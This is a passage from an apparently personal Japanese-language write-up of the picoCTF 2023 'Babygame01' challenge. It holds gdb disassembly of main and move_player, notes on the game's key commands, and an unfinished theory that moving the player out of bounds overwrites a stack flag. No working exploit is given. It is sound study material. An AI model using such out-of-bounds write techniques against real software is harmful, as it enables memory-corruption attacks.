0x08049845 <+225>: push eax
0x08049846 <+226>: call 0x80490c0 <puts@plt>
0x0804984b <+231>: add esp,0x10
0x0804984e <+234>: movzx eax,BYTE PTR [ebp-0xa9c]
0x08049855 <+241>: test al,al
0x08049857 <+243>: je 0x8049884 <main+288>
0x08049859 <+245>: sub esp,0xc
0x0804985c <+248>: lea eax,[ebx-0x1f6f]
0x08049862 <+254>: push eax
0x08049863 <+255>: call 0x80490c0 <puts@plt>
0x08049868 <+260>: add esp,0x10
0x0804986b <+263>: call 0x8049233 <win>
0x08049870 <+268>: mov eax,DWORD PTR [ebx-0x4]
0x08049876 <+274>: mov eax,DWORD PTR [eax]
0x08049878 <+276>: sub esp,0xc
0x0804987b <+279>: push eax
0x0804987c <+280>: call 0x8049060 <fflush@plt>
0x08049881 <+285>: add esp,0x10
0x08049884 <+288>: nop
0x08049885 <+289>: mov eax,0x0
0x0804988a <+294>: mov edx,DWORD PTR [ebp-0xc]
0x0804988d <+297>: sub edx,DWORD PTR gs:0x14
0x08049894 <+304>: je 0x804989b <main+311>
0x08049896 <+306>: call 0x80498b0 <__stack_chk_fail_local>
0x0804989b <+311>: lea esp,[ebp-0x8]
0x0804989e <+314>: pop ecx
0x0804989f <+315>: pop ebx
0x080498a0 <+316>: pop ebp
0x080498a1 <+317>: lea esp,[ecx-0x4]
0x080498a4 <+320>: ret
End of assembler dump.
デバッグしてみる。環境で実行できないようなので痛い。見てみるとmove_playerという関数そしてwin関数がある。それぞれ見ていく。
disas move_player
gdb-peda$ disas move_player
Dump of assembler code for function move_player:
0x08049564 <+0>: push ebp
0x08049565 <+1>: mov ebp,esp
0x08049567 <+3>: push esi
0x08049568 <+4>: push ebx
0x08049569 <+5>: sub esp,0x10
0x0804956c <+8>: call 0x8049150 <__x86.get_pc_thunk.bx>
0x08049571 <+13>: add ebx,0x2a8f
0x08049577 <+19>: mov eax,DWORD PTR [ebp+0xc]
0x0804957a <+22>: mov BYTE PTR [ebp-0xc],al
0x0804957d <+25>: cmp BYTE PTR [ebp-0xc],0x6c
0x08049581 <+29>: jne 0x804958e <move_player+42>
0x08049583 <+31>: call 0x8049070 <getchar@plt>
0x08049588 <+36>: mov BYTE PTR [ebx+0x44],al
0x0804958e <+42>: cmp BYTE PTR [ebp-0xc],0x70
0x08049592 <+46>: jne 0x80495a5 <move_player+65>
0x08049594 <+48>: sub esp,0x8
0x08049597 <+51>: push DWORD PTR [ebp+0x8]
0x0804959a <+54>: push DWORD PTR [ebp+0x10]
0x0804959d <+57>: call 0x8049677 <solve_round>
0x080495a2 <+62>: add esp,0x10
0x080495a5 <+65>: mov eax,DWORD PTR [ebp+0x8]
0x080495a8 <+68>: mov edx,DWORD PTR [eax]
0x080495aa <+70>: mov eax,DWORD PTR [ebp+0x8]
0x080495ad <+73>: mov ecx,DWORD PTR [eax+0x4]
0x080495b0 <+76>: mov esi,DWORD PTR [ebp+0x10]
0x080495b3 <+79>: imul eax,edx,0x5a
0x080495b6 <+82>: add eax,esi
0x080495b8 <+84>: add eax,ecx
0x080495ba <+86>: mov BYTE PTR [eax],0x2e
0x080495bd <+89>: cmp BYTE PTR [ebp-0xc],0x77
0x080495c1 <+93>: jne 0x80495d2 <move_player+110>
0x080495c3 <+95>: mov eax,DWORD PTR [ebp+0x8]
0x080495c6 <+98>: mov eax,DWORD PTR [eax]
0x080495c8 <+100>: lea edx,[eax-0x1]
0x080495cb <+103>: mov eax,DWORD PTR [ebp+0x8]
0x080495ce <+106>: mov DWORD PTR [eax],edx
0x080495d0 <+108>: jmp 0x8049613 <move_player+175>
0x080495d2 <+110>: cmp BYTE PTR [ebp-0xc],0x73
0x080495d6 <+114>: jne 0x80495e7 <move_player+131>
0x080495d8 <+116>: mov eax,DWORD PTR [ebp+0x8]
0x080495db <+119>: mov eax,DWORD PTR [eax]
0x080495dd <+121>: lea edx,[eax+0x1]
0x080495e0 <+124>: mov eax,DWORD PTR [ebp+0x8]
0x080495e3 <+127>: mov DWORD PTR [eax],edx
0x080495e5 <+129>: jmp 0x8049613 <move_player+175>
0x080495e7 <+131>: cmp BYTE PTR [ebp-0xc],0x61
0x080495eb <+135>: jne 0x80495fe <move_player+154>
0x080495ed <+137>: mov eax,DWORD PTR [ebp+0x8]
0x080495f0 <+140>: mov eax,DWORD PTR [eax+0x4]
0x080495f3 <+143>: lea edx,[eax-0x1]
0x080495f6 <+146>: mov eax,DWORD PTR [ebp+0x8]
0x080495f9 <+149>: mov DWORD PTR [eax+0x4],edx
0x080495fc <+152>: jmp 0x8049613 <move_player+175>
0x080495fe <+154>: cmp BYTE PTR [ebp-0xc],0x64
0x08049602 <+158>: jne 0x8049613 <move_player+175>
0x08049604 <+160>: mov eax,DWORD PTR [ebp+0x8]
0x08049607 <+163>: mov eax,DWORD PTR [eax+0x4]
0x0804960a <+166>: lea edx,[eax+0x1]
0x0804960d <+169>: mov eax,DWORD PTR [ebp+0x8]
0x08049610 <+172>: mov DWORD PTR [eax+0x4],edx
0x08049613 <+175>: mov eax,DWORD PTR [ebp+0x8]
0x08049616 <+178>: mov ecx,DWORD PTR [eax]
0x08049618 <+180>: mov eax,DWORD PTR [ebp+0x8]
0x0804961b <+183>: mov esi,DWORD PTR [eax+0x4]
0x0804961e <+186>: movzx edx,BYTE PTR [ebx+0x44]
0x08049625 <+193>: mov ebx,DWORD PTR [ebp+0x10]
0x08049628 <+196>: imul eax,ecx,0x5a
0x0804962b <+199>: add eax,ebx
0x0804962d <+201>: add eax,esi
0x0804962f <+203>: mov BYTE PTR [eax],dl
0x08049631 <+205>: nop
0x08049632 <+206>: lea esp,[ebp-0x8]
0x08049635 <+209>: pop ebx
0x08049636 <+210>: pop esi
0x08049637 <+211>: pop ebp
0x08049638 <+212>: ret
End of assembler dump.
比較が行われている
0x0804957d <+25>: cmp BYTE PTR [ebp-0xc],0x6c
0x0804958e <+42>: cmp BYTE PTR [ebp-0xc],0x70
0x080495bd <+89>: cmp BYTE PTR [ebp-0xc],0x77
0x080495d2 <+110>: cmp BYTE PTR [ebp-0xc],0x73
0x080495e7 <+131>: cmp BYTE PTR [ebp-0xc],0x61
0x080495fe <+154>: cmp BYTE PTR [ebp-0xc],0x64
が気になる。0x6c
=l、 0x70
=p、0x77
=w、 0x73
=s、 0x61
=a、 0x64
=dが入力で何かあるようだ。
wを押すと
Player position: 3 4
End tile position: 29 89
Player has flag: 0
player posiの左の値が小さくなる。@が上に移動するので、wは上に進むのようだ。sは左の値が大きくなる。下に進む。aはplayer posiの右の値が変わる。右の値が小さくなり、左へ進む。dは右の値が大きくなり、右へ進む。lを押すと@と@の右の・が全部消える。よくわからない。pはYou win!
と出てくるがflagはない。移動させるだけではダメみたいだ、ghidraを用いてみた方がよさそうだ。
pが問題を解いてくれるコマンドのようだ。
whileの抜け方はEnd tile positionとplayer posiが一致した時である。
そして、終わったときにif (local_aa4 != '\0') {
が正ならflagがゲットできるようだ。
ここをアセンブラで確認するとtest al,al
となっている。cmpではないようだ。
local_aa4についてコード見てみたが、あまりわかりそうにない。でも、スタック上にあるこれの値を書き換えるのがこの問題のようだ。いつものように文字列を入力して、、、wやdの入力でスタック領域を変えるということかな。 0x080497e6 <+130>: mov BYTE PTR [ebp-0xaa5],al
これはebpから0xaa5離れたところにalつまり、local_aa4があるということだろうか?
ここでお手上げ、(Babygame01 - picoCTF 2023 writeup)を見た